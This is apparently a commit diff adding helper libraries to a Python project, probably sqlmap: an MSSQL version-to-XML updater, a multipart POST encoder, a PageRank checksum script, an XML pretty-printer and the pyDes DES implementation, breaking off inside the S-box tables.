servicePack = servicePack[:servicePack.index("/")]
|
||||
if "(" in servicePack:
|
||||
servicePack = servicePack[:servicePack.index("(")]
|
||||
if "-" in servicePack:
|
||||
servicePack = servicePack[:servicePack.index("-")]
|
||||
if "*" in servicePack:
|
||||
servicePack = servicePack[:servicePack.index("*")]
|
||||
if servicePack.startswith("+"):
|
||||
servicePack = "0%s" % servicePack
|
||||
|
||||
servicePack = servicePack.replace("\t", " ")
|
||||
servicePack = servicePack.replace("No SP", "0")
|
||||
servicePack = servicePack.replace("RTM", "0")
|
||||
servicePack = servicePack.replace("SP", "")
|
||||
servicePack = servicePack.replace("Service Pack", "")
|
||||
servicePack = servicePack.replace("<a href=\"http:", "")
|
||||
servicePack = servicePack.replace(" ", " ")
|
||||
servicePack = servicePack.replace("+ ", "+")
|
||||
servicePack = servicePack.replace(" +", "+")
|
||||
|
||||
if servicePack.endswith(" "):
|
||||
servicePack = servicePack[:-1]
|
||||
|
||||
if servicePack and version:
|
||||
# Create the main <card> element
|
||||
signature = doc.createElement("signature")
|
||||
signatures.appendChild(signature)
|
||||
|
||||
# Create a <version> element
|
||||
versionElement = doc.createElement("version")
|
||||
signature.appendChild(versionElement)
|
||||
|
||||
# Give the <version> elemenet some text
|
||||
versionText = doc.createTextNode(version)
|
||||
versionElement.appendChild(versionText)
|
||||
|
||||
# Create a <servicepack> element
|
||||
servicepackElement = doc.createElement("servicepack")
|
||||
signature.appendChild(servicepackElement)
|
||||
|
||||
# Give the <servicepack> elemenet some text
|
||||
servicepackText = doc.createTextNode(servicePack)
|
||||
servicepackElement.appendChild(servicepackText)
|
||||
|
||||
# Save our newly created XML to the signatures file
|
||||
mssqlXml = codecs.open(MSSQL_XML, "w", "utf8")
|
||||
doc.writexml(writer=mssqlXml, addindent=" ", newl="\n")
|
||||
mssqlXml.close()
|
||||
|
||||
infoMsg = "[INFO] done. retrieved data parsed and saved into '%s'" % MSSQL_XML
|
||||
print infoMsg
|
||||
|
||||
if __name__ == "__main__":
|
||||
updateMSSQLXML()
|
||||
@@ -0,0 +1,3 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
pass
|
||||
@@ -47,11 +47,11 @@ class MultipartPostHandler(urllib2.BaseHandler):
|
||||
|
||||
def http_request(self, request):
|
||||
data = request.get_data()
|
||||
|
||||
|
||||
if data is not None and type(data) != str:
|
||||
v_files = []
|
||||
v_vars = []
|
||||
|
||||
|
||||
try:
|
||||
for(key, value) in data.items():
|
||||
if type(value) == file or hasattr(value, 'file'):
|
||||
@@ -74,32 +74,34 @@ class MultipartPostHandler(urllib2.BaseHandler):
|
||||
request.add_data(data)
|
||||
return request
|
||||
|
||||
def multipart_encode(vars, files, boundary = None, buffer = None):
|
||||
def multipart_encode(vars, files, boundary = None, buf = None):
|
||||
if boundary is None:
|
||||
boundary = mimetools.choose_boundary()
|
||||
|
||||
if buffer is None:
|
||||
buffer = ''
|
||||
if buf is None:
|
||||
buf = ''
|
||||
|
||||
for(key, value) in vars:
|
||||
buffer += '--%s\r\n' % boundary
|
||||
buffer += 'Content-Disposition: form-data; name="%s"' % key
|
||||
buffer += '\r\n\r\n' + value + '\r\n'
|
||||
for (key, value) in vars:
|
||||
buf += '--%s\r\n' % boundary
|
||||
buf += 'Content-Disposition: form-data; name="%s"' % key
|
||||
buf += '\r\n\r\n' + value + '\r\n'
|
||||
|
||||
for(key, fd) in files:
|
||||
for (key, fd) in files:
|
||||
file_size = os.fstat(fd.fileno())[stat.ST_SIZE]
|
||||
filename = fd.name.split('/')[-1]
|
||||
contenttype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'
|
||||
buffer += '--%s\r\n' % boundary
|
||||
buffer += 'Content-Disposition: form-data; name="%s"; filename="%s"\r\n' % (key, filename)
|
||||
buffer += 'Content-Type: %s\r\n' % contenttype
|
||||
# buffer += 'Content-Length: %s\r\n' % file_size
|
||||
buf += '--%s\r\n' % boundary
|
||||
buf += 'Content-Disposition: form-data; name="%s"; filename="%s"\r\n' % (key, filename)
|
||||
buf += 'Content-Type: %s\r\n' % contenttype
|
||||
# buf += 'Content-Length: %s\r\n' % file_size
|
||||
fd.seek(0)
|
||||
buffer += '\r\n' + fd.read() + '\r\n'
|
||||
|
||||
buffer += '--%s--\r\n\r\n' % boundary
|
||||
buf = str(buf)
|
||||
buf += '\r\n%s\r\n' % fd.read()
|
||||
|
||||
return boundary, buffer
|
||||
buf += '--%s--\r\n\r\n' % boundary
|
||||
|
||||
return boundary, buf
|
||||
|
||||
multipart_encode = Callable(multipart_encode)
|
||||
|
||||
@@ -0,0 +1,26 @@
|
||||
#!/usr/bin/env python
|
||||
#
|
||||
# The BSD License
|
||||
#
|
||||
# Copyright 2003-2008 Nicola Larosa, Michael Foord
|
||||
#
|
||||
# Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
# of this software and associated documentation files (the "Software"), to deal
|
||||
# in the Software without restriction, including without limitation the rights
|
||||
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
# copies of the Software, and to permit persons to whom the Software is
|
||||
# furnished to do so, subject to the following conditions:
|
||||
#
|
||||
# The above copyright notice and this permission notice shall be included in
|
||||
# all copies or substantial portions of the Software.
|
||||
#
|
||||
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
# THE SOFTWARE.
|
||||
#
|
||||
|
||||
pass
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,26 @@
|
||||
#!/usr/bin/env python
|
||||
#
|
||||
# The MIT License
|
||||
#
|
||||
# Copyright 2010 Corey Goldberg
|
||||
#
|
||||
# Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
# of this software and associated documentation files (the "Software"), to deal
|
||||
# in the Software without restriction, including without limitation the rights
|
||||
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
# copies of the Software, and to permit persons to whom the Software is
|
||||
# furnished to do so, subject to the following conditions:
|
||||
#
|
||||
# The above copyright notice and this permission notice shall be included in
|
||||
# all copies or substantial portions of the Software.
|
||||
#
|
||||
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
# THE SOFTWARE.
|
||||
#
|
||||
|
||||
pass
|
||||
@@ -0,0 +1,75 @@
|
||||
#!/usr/bin/env python
|
||||
#
|
||||
# Script for getting Google Page Rank of page
|
||||
# Google Toolbar 3.0.x/4.0.x Pagerank Checksum Algorithm
|
||||
#
|
||||
# original from http://pagerank.gamesaga.net/
|
||||
# this version was adapted from http://www.djangosnippets.org/snippets/221/
|
||||
# by Corey Goldberg - 2010
|
||||
#
|
||||
# Licensed under the MIT license: http://www.opensource.org/licenses/mit-license.php
|
||||
|
||||
import urllib
|
||||
|
||||
def get_pagerank(url):
|
||||
hsh = check_hash(hash_url(url))
|
||||
gurl = 'http://www.google.com/search?client=navclient-auto&features=Rank:&q=info:%s&ch=%s' % (urllib.quote(url), hsh)
|
||||
try:
|
||||
f = urllib.urlopen(gurl)
|
||||
rank = f.read().strip()[9:]
|
||||
except Exception:
|
||||
rank = 'N/A'
|
||||
if rank == '':
|
||||
rank = '0'
|
||||
return rank
|
||||
|
||||
def int_str(string, integer, factor):
|
||||
for i in range(len(string)) :
|
||||
integer *= factor
|
||||
integer &= 0xFFFFFFFF
|
||||
integer += ord(string[i])
|
||||
return integer
|
||||
|
||||
def hash_url(string):
|
||||
c1 = int_str(string, 0x1505, 0x21)
|
||||
c2 = int_str(string, 0, 0x1003F)
|
||||
|
||||
c1 >>= 2
|
||||
c1 = ((c1 >> 4) & 0x3FFFFC0) | (c1 & 0x3F)
|
||||
c1 = ((c1 >> 4) & 0x3FFC00) | (c1 & 0x3FF)
|
||||
c1 = ((c1 >> 4) & 0x3C000) | (c1 & 0x3FFF)
|
||||
|
||||
t1 = (c1 & 0x3C0) << 4
|
||||
t1 |= c1 & 0x3C
|
||||
t1 = (t1 << 2) | (c2 & 0xF0F)
|
||||
|
||||
t2 = (c1 & 0xFFFFC000) << 4
|
||||
t2 |= c1 & 0x3C00
|
||||
t2 = (t2 << 0xA) | (c2 & 0xF0F0000)
|
||||
|
||||
return (t1 | t2)
|
||||
|
||||
def check_hash(hash_int):
|
||||
hash_str = '%u' % (hash_int)
|
||||
flag = 0
|
||||
check_byte = 0
|
||||
|
||||
i = len(hash_str) - 1
|
||||
while i >= 0:
|
||||
byte = int(hash_str[i])
|
||||
if 1 == (flag % 2):
|
||||
byte *= 2;
|
||||
byte = byte / 10 + byte % 10
|
||||
check_byte += byte
|
||||
flag += 1
|
||||
i -= 1
|
||||
|
||||
check_byte %= 10
|
||||
if 0 != check_byte:
|
||||
check_byte = 10 - check_byte
|
||||
if 1 == flag % 2:
|
||||
if 1 == check_byte % 2:
|
||||
check_byte += 9
|
||||
check_byte >>= 1
|
||||
|
||||
return '7' + str(check_byte) + hash_str
|
||||
Executable
+26
@@ -0,0 +1,26 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
#Copyright (c) 2010, Chris Hall <[email protected]>
|
||||
#All rights reserved.
|
||||
|
||||
#Redistribution and use in source and binary forms, with or without modification,
|
||||
#are permitted provided that the following conditions are met:
|
||||
|
||||
#* Redistributions of source code must retain the above copyright notice,
|
||||
#this list of conditions and the following disclaimer.
|
||||
#* Redistributions in binary form must reproduce the above copyright notice,
|
||||
#this list of conditions and the following disclaimer in the documentation
|
||||
#and/or other materials provided with the distribution.
|
||||
|
||||
#THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
|
||||
#ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
|
||||
#WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
#DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
|
||||
#ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
#(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
#LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
#ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
#(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
#SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
pass
|
||||
@@ -0,0 +1,100 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
#Copyright (c) 2010, Miroslav Stampar <[email protected]>
|
||||
#Added formatXML method
|
||||
|
||||
#Copyright (c) 2010, Chris Hall <[email protected]>
|
||||
#All rights reserved.
|
||||
|
||||
#Redistribution and use in source and binary forms, with or without modification,
|
||||
#are permitted provided that the following conditions are met:
|
||||
|
||||
#* Redistributions of source code must retain the above copyright notice,
|
||||
#this list of conditions and the following disclaimer.
|
||||
#* Redistributions in binary form must reproduce the above copyright notice,
|
||||
#this list of conditions and the following disclaimer in the documentation
|
||||
#and/or other materials provided with the distribution.
|
||||
|
||||
#THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
|
||||
#ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
|
||||
#WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
#DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
|
||||
#ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
#(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
#LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
#ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
#(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
#SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
from xml.dom import minidom
|
||||
from xml.dom import Node
|
||||
|
||||
def format(text):
|
||||
doc = minidom.parseString(text)
|
||||
root = doc.childNodes[0]
|
||||
return root.toprettyxml(indent=' ')
|
||||
|
||||
def formatXML(doc, encoding=None):
|
||||
root = doc.childNodes[0]
|
||||
return root.toprettyxml(indent=' ', encoding=encoding)
|
||||
|
||||
def _patch_minidom():
|
||||
minidom.Text.writexml = _writexml_text
|
||||
minidom.Element.writexml = _writexml_element
|
||||
minidom.Node.toprettyxml = _toprettyxml_node
|
||||
|
||||
def _collapse(node):
|
||||
for child in node.childNodes:
|
||||
if child.nodeType == Node.TEXT_NODE and len(child.data.strip()) == 0:
|
||||
child.data = ''
|
||||
else:
|
||||
_collapse(child)
|
||||
|
||||
def _writexml_text(self, writer, indent="", addindent="", newl=""):
|
||||
minidom._write_data(writer, "%s"%(self.data.strip()))
|
||||
|
||||
def _writexml_element(self, writer, indent="", addindent="", newl=""):
|
||||
# indent = current indentation
|
||||
# addindent = indentation to add to higher levels
|
||||
# newl = newline string
|
||||
writer.write(indent+"<" + self.tagName)
|
||||
|
||||
attrs = self._get_attributes()
|
||||
a_names = attrs.keys()
|
||||
a_names.sort()
|
||||
|
||||
for a_name in a_names:
|
||||
writer.write(" %s=\"" % a_name)
|
||||
minidom._write_data(writer, attrs[a_name].value)
|
||||
writer.write("\"")
|
||||
if self.childNodes:
|
||||
if self.childNodes[0].nodeType == Node.TEXT_NODE and len(self.childNodes[0].data) > 0:
|
||||
writer.write(">")
|
||||
else:
|
||||
writer.write(">%s"%(newl))
|
||||
for node in self.childNodes:
|
||||
node.writexml(writer,indent+addindent,addindent,newl)
|
||||
if self.childNodes[-1].nodeType == Node.TEXT_NODE and len(self.childNodes[0].data) > 0:
|
||||
writer.write("</%s>%s" % (self.tagName,newl))
|
||||
else:
|
||||
writer.write("%s</%s>%s" % (indent,self.tagName,newl))
|
||||
else:
|
||||
writer.write("/>%s"%(newl))
|
||||
|
||||
def _toprettyxml_node(self, indent="\t", newl="\n", encoding = None):
|
||||
_collapse(self)
|
||||
# indent = the indentation string to prepend, per level
|
||||
# newl = the newline string to append
|
||||
writer = minidom._get_StringIO()
|
||||
if encoding is not None:
|
||||
import codecs
|
||||
# Can't use codecs.getwriter to preserve 2.0 compatibility
|
||||
writer = codecs.lookup(encoding)[3](writer)
|
||||
if self.nodeType == Node.DOCUMENT_NODE:
|
||||
# Can pass encoding only to document, to put it into XML header
|
||||
self.writexml(writer, "", indent, newl, encoding)
|
||||
else:
|
||||
self.writexml(writer, "", indent, newl)
|
||||
return writer.getvalue()
|
||||
|
||||
_patch_minidom()
|
||||
@@ -0,0 +1,19 @@
|
||||
#!/usr/bin/env python
|
||||
#
|
||||
# Copyright 2009 Todd Whiteman
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify it
|
||||
# under the terms of the GNU Lesser General Public License as published
|
||||
# by the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU Lesser General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU Lesser General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
pass
|
||||
@@ -0,0 +1,852 @@
|
||||
#############################################################################
|
||||
# Documentation #
|
||||
#############################################################################
|
||||
|
||||
# Author: Todd Whiteman
|
||||
# Date: 16th March, 2009
|
||||
# Verion: 2.0.0
|
||||
# License: Public Domain - free to do as you wish
|
||||
# Homepage: http://twhiteman.netfirms.com/des.html
|
||||
#
|
||||
# This is a pure python implementation of the DES encryption algorithm.
|
||||
# It's pure python to avoid portability issues, since most DES
|
||||
# implementations are programmed in C (for performance reasons).
|
||||
#
|
||||
# Triple DES class is also implemented, utilising the DES base. Triple DES
|
||||
# is either DES-EDE3 with a 24 byte key, or DES-EDE2 with a 16 byte key.
|
||||
#
|
||||
# See the README.txt that should come with this python module for the
|
||||
# implementation methods used.
|
||||
#
|
||||
# Thanks to:
|
||||
# * David Broadwell for ideas, comments and suggestions.
|
||||
# * Mario Wolff for pointing out and debugging some triple des CBC errors.
|
||||
# * Santiago Palladino for providing the PKCS5 padding technique.
|
||||
# * Shaya for correcting the PAD_PKCS5 triple des CBC errors.
|
||||
#
|
||||
"""A pure python implementation of the DES and TRIPLE DES encryption algorithms.
|
||||
|
||||
Class initialization
|
||||
--------------------
|
||||
pyDes.des(key, [mode], [IV], [pad], [padmode])
|
||||
pyDes.triple_des(key, [mode], [IV], [pad], [padmode])
|
||||
|
||||
key -> Bytes containing the encryption key. 8 bytes for DES, 16 or 24 bytes
|
||||
for Triple DES
|
||||
mode -> Optional argument for encryption type, can be either
|
||||
pyDes.ECB (Electronic Code Book) or pyDes.CBC (Cypher Block Chaining)
|
||||
IV -> Optional Initial Value bytes, must be supplied if using CBC mode.
|
||||
Length must be 8 bytes.
|
||||
pad -> Optional argument, set the pad character (PAD_NORMAL) to use during
|
||||
all encrypt/decrpt operations done with this instance.
|
||||
padmode -> Optional argument, set the padding mode (PAD_NORMAL or PAD_PKCS5)
|
||||
to use during all encrypt/decrpt operations done with this instance.
|
||||
|
||||
I recommend to use PAD_PKCS5 padding, as then you never need to worry about any
|
||||
padding issues, as the padding can be removed unambiguously upon decrypting
|
||||
data that was encrypted using PAD_PKCS5 padmode.
|
||||
|
||||
Common methods
|
||||
--------------
|
||||
encrypt(data, [pad], [padmode])
|
||||
decrypt(data, [pad], [padmode])
|
||||
|
||||
data -> Bytes to be encrypted/decrypted
|
||||
pad -> Optional argument. Only when using padmode of PAD_NORMAL. For
|
||||
encryption, adds this characters to the end of the data block when
|
||||
data is not a multiple of 8 bytes. For decryption, will remove the
|
||||
trailing characters that match this pad character from the last 8
|
||||
bytes of the unencrypted data block.
|
||||
padmode -> Optional argument, set the padding mode, must be one of PAD_NORMAL
|
||||
or PAD_PKCS5). Defaults to PAD_NORMAL.
|
||||
|
||||
|
||||
Example
|
||||
-------
|
||||
from pyDes import *
|
||||
|
||||
data = "Please encrypt my data"
|
||||
k = des("DESCRYPT", CBC, "\0\0\0\0\0\0\0\0", pad=None, padmode=PAD_PKCS5)
|
||||
# For Python3, you'll need to use bytes, i.e.:
|
||||
# data = b"Please encrypt my data"
|
||||
# k = des(b"DESCRYPT", CBC, b"\0\0\0\0\0\0\0\0", pad=None, padmode=PAD_PKCS5)
|
||||
d = k.encrypt(data)
|
||||
print "Encrypted: %r" % d
|
||||
print "Decrypted: %r" % k.decrypt(d)
|
||||
assert k.decrypt(d, padmode=PAD_PKCS5) == data
|
||||
|
||||
|
||||
See the module source (pyDes.py) for more examples of use.
|
||||
You can also run the pyDes.py file without and arguments to see a simple test.
|
||||
|
||||
Note: This code was not written for high-end systems needing a fast
|
||||
implementation, but rather a handy portable solution with small usage.
|
||||
|
||||
"""
|
||||
|
||||
import sys
|
||||
|
||||
# _pythonMajorVersion is used to handle Python2 and Python3 differences.
|
||||
_pythonMajorVersion = sys.version_info[0]
|
||||
|
||||
# Modes of crypting / cyphering
|
||||
ECB = 0
|
||||
CBC = 1
|
||||
|
||||
# Modes of padding
|
||||
PAD_NORMAL = 1
|
||||
PAD_PKCS5 = 2
|
||||
|
||||
# PAD_PKCS5: is a method that will unambiguously remove all padding
|
||||
# characters after decryption, when originally encrypted with
|
||||
# this padding mode.
|
||||
# For a good description of the PKCS5 padding technique, see:
|
||||
# http://www.faqs.org/rfcs/rfc1423.html
|
||||
|
||||
# The base class shared by des and triple des.
|
||||
class _baseDes(object):
|
||||
def __init__(self, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL):
|
||||
if IV:
|
||||
IV = self._guardAgainstUnicode(IV)
|
||||
if pad:
|
||||
pad = self._guardAgainstUnicode(pad)
|
||||
self.block_size = 8
|
||||
# Sanity checking of arguments.
|
||||
if pad and padmode == PAD_PKCS5:
|
||||
raise ValueError("Cannot use a pad character with PAD_PKCS5")
|
||||
if IV and len(IV) != self.block_size:
|
||||
raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes")
|
||||
|
||||
# Set the passed in variables
|
||||
self._mode = mode
|
||||
self._iv = IV
|
||||
self._padding = pad
|
||||
self._padmode = padmode
|
||||
|
||||
def getKey(self):
|
||||
"""getKey() -> bytes"""
|
||||
return self.__key
|
||||
|
||||
def setKey(self, key):
|
||||
"""Will set the crypting key for this object."""
|
||||
key = self._guardAgainstUnicode(key)
|
||||
self.__key = key
|
||||
|
||||
def getMode(self):
|
||||
"""getMode() -> pyDes.ECB or pyDes.CBC"""
|
||||
return self._mode
|
||||
|
||||
def setMode(self, mode):
|
||||
"""Sets the type of crypting mode, pyDes.ECB or pyDes.CBC"""
|
||||
self._mode = mode
|
||||
|
||||
def getPadding(self):
|
||||
"""getPadding() -> bytes of length 1. Padding character."""
|
||||
return self._padding
|
||||
|
||||
def setPadding(self, pad):
|
||||
"""setPadding() -> bytes of length 1. Padding character."""
|
||||
if pad is not None:
|
||||
pad = self._guardAgainstUnicode(pad)
|
||||
self._padding = pad
|
||||
|
||||
def getPadMode(self):
|
||||
"""getPadMode() -> pyDes.PAD_NORMAL or pyDes.PAD_PKCS5"""
|
||||
return self._padmode
|
||||
|
||||
def setPadMode(self, mode):
|
||||
"""Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5"""
|
||||
self._padmode = mode
|
||||
|
||||
def getIV(self):
|
||||
"""getIV() -> bytes"""
|
||||
return self._iv
|
||||
|
||||
def setIV(self, IV):
|
||||
"""Will set the Initial Value, used in conjunction with CBC mode"""
|
||||
if not IV or len(IV) != self.block_size:
|
||||
raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes")
|
||||
IV = self._guardAgainstUnicode(IV)
|
||||
self._iv = IV
|
||||
|
||||
def _padData(self, data, pad, padmode):
|
||||
# Pad data depending on the mode
|
||||
if padmode is None:
|
||||
# Get the default padding mode.
|
||||
padmode = self.getPadMode()
|
||||
if pad and padmode == PAD_PKCS5:
|
||||
raise ValueError("Cannot use a pad character with PAD_PKCS5")
|
||||
|
||||
if padmode == PAD_NORMAL:
|
||||
if len(data) % self.block_size == 0:
|
||||
# No padding required.
|
||||
return data
|
||||
|
||||
if not pad:
|
||||
# Get the default padding.
|
||||
pad = self.getPadding()
|
||||
if not pad:
|
||||
raise ValueError("Data must be a multiple of " + str(self.block_size) + " bytes in length. Use padmode=PAD_PKCS5 or set the pad character.")
|
||||
data += (self.block_size - (len(data) % self.block_size)) * pad
|
||||
|
||||
elif padmode == PAD_PKCS5:
|
||||
pad_len = 8 - (len(data) % self.block_size)
|
||||
if _pythonMajorVersion < 3:
|
||||
data += pad_len * chr(pad_len)
|
||||
else:
|
||||
data += bytes([pad_len] * pad_len)
|
||||
|
||||
return data
|
||||
|
||||
def _unpadData(self, data, pad, padmode):
|
||||
# Unpad data depending on the mode.
|
||||
if not data:
|
||||
return data
|
||||
if pad and padmode == PAD_PKCS5:
|
||||
raise ValueError("Cannot use a pad character with PAD_PKCS5")
|
||||
if padmode is None:
|
||||
# Get the default padding mode.
|
||||
padmode = self.getPadMode()
|
||||
|
||||
if padmode == PAD_NORMAL:
|
||||
if not pad:
|
||||
# Get the default padding.
|
||||
pad = self.getPadding()
|
||||
if pad:
|
||||
data = data[:-self.block_size] + \
|
||||
data[-self.block_size:].rstrip(pad)
|
||||
|
||||
elif padmode == PAD_PKCS5:
|
||||
if _pythonMajorVersion < 3:
|
||||
pad_len = ord(data[-1])
|
||||
else:
|
||||
pad_len = data[-1]
|
||||
data = data[:-pad_len]
|
||||
|
||||
return data
|
||||
|
||||
def _guardAgainstUnicode(self, data):
|
||||
# Only accept byte strings or ascii unicode values, otherwise
|
||||
# there is no way to correctly decode the data into bytes.
|
||||
if _pythonMajorVersion < 3:
|
||||
if isinstance(data, unicode):
|
||||
data = data.encode('utf8')
|
||||
else:
|
||||
if isinstance(data, str):
|
||||
# Only accept ascii unicode values.
|
||||
try:
|
||||
return data.encode('ascii')
|
||||
except UnicodeEncodeError:
|
||||
pass
|
||||
raise ValueError("pyDes can only work with encoded strings, not Unicode.")
|
||||
return data
|
||||
|
||||
#############################################################################
|
||||
# DES #
|
||||
#############################################################################
|
||||
class des(_baseDes):
|
||||
"""DES encryption/decrytpion class
|
||||
|
||||
Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes.
|
||||
|
||||
pyDes.des(key,[mode], [IV])
|
||||
|
||||
key -> Bytes containing the encryption key, must be exactly 8 bytes
|
||||
mode -> Optional argument for encryption type, can be either pyDes.ECB
|
||||
(Electronic Code Book), pyDes.CBC (Cypher Block Chaining)
|
||||
IV -> Optional Initial Value bytes, must be supplied if using CBC mode.
|
||||
Must be 8 bytes in length.
|
||||
pad -> Optional argument, set the pad character (PAD_NORMAL) to use
|
||||
during all encrypt/decrpt operations done with this instance.
|
||||
padmode -> Optional argument, set the padding mode (PAD_NORMAL or
|
||||
PAD_PKCS5) to use during all encrypt/decrpt operations done
|
||||
with this instance.
|
||||
"""
|
||||
|
||||
|
||||
# Permutation and translation tables for DES
|
||||
__pc1 = [56, 48, 40, 32, 24, 16, 8,
|
||||
0, 57, 49, 41, 33, 25, 17,
|
||||
9, 1, 58, 50, 42, 34, 26,
|
||||
18, 10, 2, 59, 51, 43, 35,
|
||||
62, 54, 46, 38, 30, 22, 14,
|
||||
6, 61, 53, 45, 37, 29, 21,
|
||||
13, 5, 60, 52, 44, 36, 28,
|
||||
20, 12, 4, 27, 19, 11, 3
|
||||
]
|
||||
|
||||
# number left rotations of pc1
|
||||
__left_rotations = [
|
||||
1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1
|
||||
]
|
||||
|
||||
# permuted choice key (table 2)
|
||||
__pc2 = [
|
||||
13, 16, 10, 23, 0, 4,
|
||||
2, 27, 14, 5, 20, 9,
|
||||
22, 18, 11, 3, 25, 7,
|
||||
15, 6, 26, 19, 12, 1,
|
||||
40, 51, 30, 36, 46, 54,
|
||||
29, 39, 50, 44, 32, 47,
|
||||
43, 48, 38, 55, 33, 52,
|
||||
45, 41, 49, 35, 28, 31
|
||||
]
|
||||
|
||||
# initial permutation IP
|
||||
__ip = [57, 49, 41, 33, 25, 17, 9, 1,
|
||||
59, 51, 43, 35, 27, 19, 11, 3,
|
||||
61, 53, 45, 37, 29, 21, 13, 5,
|
||||
63, 55, 47, 39, 31, 23, 15, 7,
|
||||
56, 48, 40, 32, 24, 16, 8, 0,
|
||||
58, 50, 42, 34, 26, 18, 10, 2,
|
||||
60, 52, 44, 36, 28, 20, 12, 4,
|
||||
62, 54, 46, 38, 30, 22, 14, 6
|
||||
]
|
||||
|
||||
# Expansion table for turning 32 bit blocks into 48 bits
|
||||
__expansion_table = [
|
||||
31, 0, 1, 2, 3, 4,
|
||||
3, 4, 5, 6, 7, 8,
|
||||
7, 8, 9, 10, 11, 12,
|
||||
11, 12, 13, 14, 15, 16,
|
||||
15, 16, 17, 18, 19, 20,
|
||||
19, 20, 21, 22, 23, 24,
|
||||
23, 24, 25, 26, 27, 28,
|
||||
27, 28, 29, 30, 31, 0
|
||||
]
|
||||
|
||||
# The (in)famous S-boxes
|
||||
__sbox = [
|
||||
# S1
|
||||
[14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7,
|
||||
0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8,
|
||||
4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0,
|
||||
15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13],
|
||||
|
||||
# S2
|
||||
[15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10,
|
||||
